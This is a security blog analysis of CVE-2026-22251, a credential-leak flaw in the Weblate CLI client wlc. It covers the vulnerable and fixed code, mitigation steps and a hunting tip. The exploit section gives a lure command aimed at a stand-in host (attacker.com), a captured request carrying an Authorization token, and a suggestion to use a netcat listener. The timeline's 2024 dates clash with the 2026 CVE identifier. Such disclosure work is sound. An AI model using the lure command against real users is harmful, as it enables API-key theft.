CVE-2026-22251

The Key to the Kingdom: Unscoped Credential Leakage in Weblate wlc

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 12, 2026·6 min read

Executive Summary (TL;DR)

For years, the Weblate CLI tool allowed users to define a 'global' API key in their config file. While convenient, this was a security disaster waiting to happen. If a user ran a command against a malicious Weblate instance (or was tricked into doing so), the client would happily send this global key in the Authorization header. Version 1.17.0 kills this behavior by forcing URL-scoped keys.

A logic flaw in the Weblate command-line client (wlc) configuration parser allowed global API keys to be transmitted to arbitrary, potentially malicious servers.

The Hook: Convenience vs. Security

We have all been there. You are setting up a CLI tool, and the configuration file asks for an API URL and a Key. Being the efficient (read: lazy) developer you are, you toss them into the top-level section of the config file. It works, the tool connects, and you move on with your life.

In the context of wlc, the command-line interface for the Weblate translation platform, this specific brand of laziness was not just supported—it was standard practice for a long time. The configuration file (typically ~/.config/wlc/weblate.ini or similar) allowed users to define a [weblate] block containing both the target URL and the authentication key.

The problem? That key was treated as a "fallback" or global credential. It wasn't bound to the specific URL you defined next to it. It was a skeleton key hanging around in memory, waiting to be used whenever the client didn't have a better idea. And as we know in security, when software assumes it should be helpful, it usually ends up being helpful to the wrong people.

The Flaw: A Promiscuous Fallback

The vulnerability (CVE-2026-22251) resides in how wlc resolved credentials before making HTTP requests. The logic was intended to be user-friendly: check if there is a specific key for the target URL; if not, check if there is a global key available.

This is a classic scoping error. In a secure design, credentials should be strictly bound to the origin they are intended for (much like browser cookies or CORS policies). However, wlc's configuration parser in wlc/config.py took a more relaxed approach.

When a user executed a command pointing to a new URL—say, a specific project server provided by a third party—the client would check its internal map for a key specific to that URL. Finding none, it would fall back to the key defined in the main [weblate] section. Consequently, the client would construct an HTTP request to the untrusted URL and inject the user's sensitive, high-privilege API key into the Authorization header.

[!NOTE] This is analogous to handing your house keys to a stranger just because they asked for "a key" and you didn't have a specific key labeled "Stranger's House" on your keychain.

The Code: The Smoking Gun

Let's look at the Python code responsible for this behavior. The issue lay in the get_url_key method. In versions prior to 1.17.0, the logic was dangerously permissive.

Here is a simplified view of the vulnerable logic:

# Vulnerable implementation
def get_url_key(self):
    # Get the URL from CLI args or config
    url = self.cli_url or self.config.get("weblate", "url")
    
    # DANGER: Fallback to global 'key' if specific url key is missing
    key = self.cli_key or self.config.get("keys", url, fallback=self.config.get("weblate", "key"))
    
    return url, key

The fix, implemented in commit aafdb507a9e66574ade1f68c50c4fe75dbe80797, completely removes the fallback mechanism. The developers realized that implicit trust is bad trust. The new implementation enforces strict scoping:

# Fixed implementation (v1.17.0)
def get_url_key(self) -> tuple[str, str]:
    url = self.cli_url or cast("str", self.get(self.section, "url"))
    
    # SECURE: No fallback to global section. 
    # The key MUST exist in the [keys] section matched to the URL.
    key = self.cli_key or cast("str", self.get("keys", url, fallback=""))
    
    return url, key

By removing the fallback to the general section, the application now fails safe (or fails closed). If a key isn't explicitly defined for https://evil-weblate.com, the client sends no key at all, or fails to authenticate, rather than leaking the global secret.

The Exploit: Phishing for Tokens

Exploiting this vulnerability does not require buffer overflows or heap feng shui. It requires social engineering and a basic understanding of how the CLI works. An attacker needs to convince a victim—likely a developer or translator with a configured wlc environment—to interact with a malicious server.

The Setup:

  1. The attacker sets up a rogue Weblate instance (or a simple HTTP listener like netcat or Python's http.server) at https://attacker.com/api/.
  2. The attacker sends a request to the victim: "Hey, can you check the translation status on our new mirror? Just run this command:"
wlc --url https://attacker.com/api/ ls

The Execution: When the victim runs this command, wlc parses the arguments. It sees the custom URL. It checks ~/.config/wlc/weblate.ini. It does not find a specific key for attacker.com.

However, it does find the global key the victim uses for their corporate production server. It grabs that key and sends:

GET /api/projects/ HTTP/1.1
Host: attacker.com
Authorization: Token wlb-p_YOUR_SECRET_PRODUCTION_KEY
User-Agent: wlc/1.16.0

The Loot: The attacker captures the header, takes the token, and pivots to the victim's legitimate production instance (https://weblate.company.com). Depending on the token's scope, they now have read/write access to translations, or worse, administrative control.

The Impact: Why This Matters

While the CVSS score is a moderate 5.3 (due to the requirement for user interaction), the real-world impact is significant. API keys for translation platforms often hold surprisingly high privileges.

  1. Intellectual Property Theft: Translation strings often contain pre-release feature names, marketing copy, or sensitive internal terminology.
  2. Supply Chain Risk: An attacker with write access could modify translations to inject malicious links or misleading text into the final product. Imagine a banking app where the "Confirm Transfer" button is translated to "Cancel" in a specific language, or a URL in a help text points to a phishing site.
  3. Lateral Movement: Users frequently reuse API keys or generate "super-admin" keys for CLI tools to avoid permission errors. A leaked key often means full account takeover.

This vulnerability highlights the danger of "convenience features" in developer tools. Implicit behavior is the enemy of security.

The Mitigation: Breaking Habits

The primary fix is to upgrade wlc to version 1.17.0 or later. This version physically removes the code capability to read global keys. However, this upgrade comes with a breaking change for users relying on the insecure configuration.

Step 1: Upgrade

pip install --upgrade wlc

Step 2: Reconfigure You must migrate your configuration file. If your weblate.ini looks like this, it is broken in 1.17.0 (and insecure in older versions):

[weblate]
url = https://api.example.com
key = SECRET_KEY  <-- DELETE THIS

Change it to the scoped format:

[weblate]
url = https://api.example.com
 
[keys]
https://api.example.com = SECRET_KEY

For security teams, you can hunt for this vulnerability by scanning developer workstations for weblate.ini files that contain a key = entry inside the [weblate] block. If you find one, the user is vulnerable.

Fix Analysis (1)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N

Affected Systems

Weblate command-line client (wlc) < 1.17.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
wlc
WeblateOrg
< 1.17.01.17.0
AttributeDetail
CWE IDCWE-200
CVSS v3.15.3
Attack VectorLocal (User Interaction Required)
ImpactCredential Leakage
LanguagePython
Componentwlc/config.py
CWE-200
Information Exposure

Exposure of Sensitive Information to an Unauthorized Actor

Vulnerability Timeline

Fix committed to GitHub
2024-01-24
Version 1.17.0 Released
2024-01-24

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.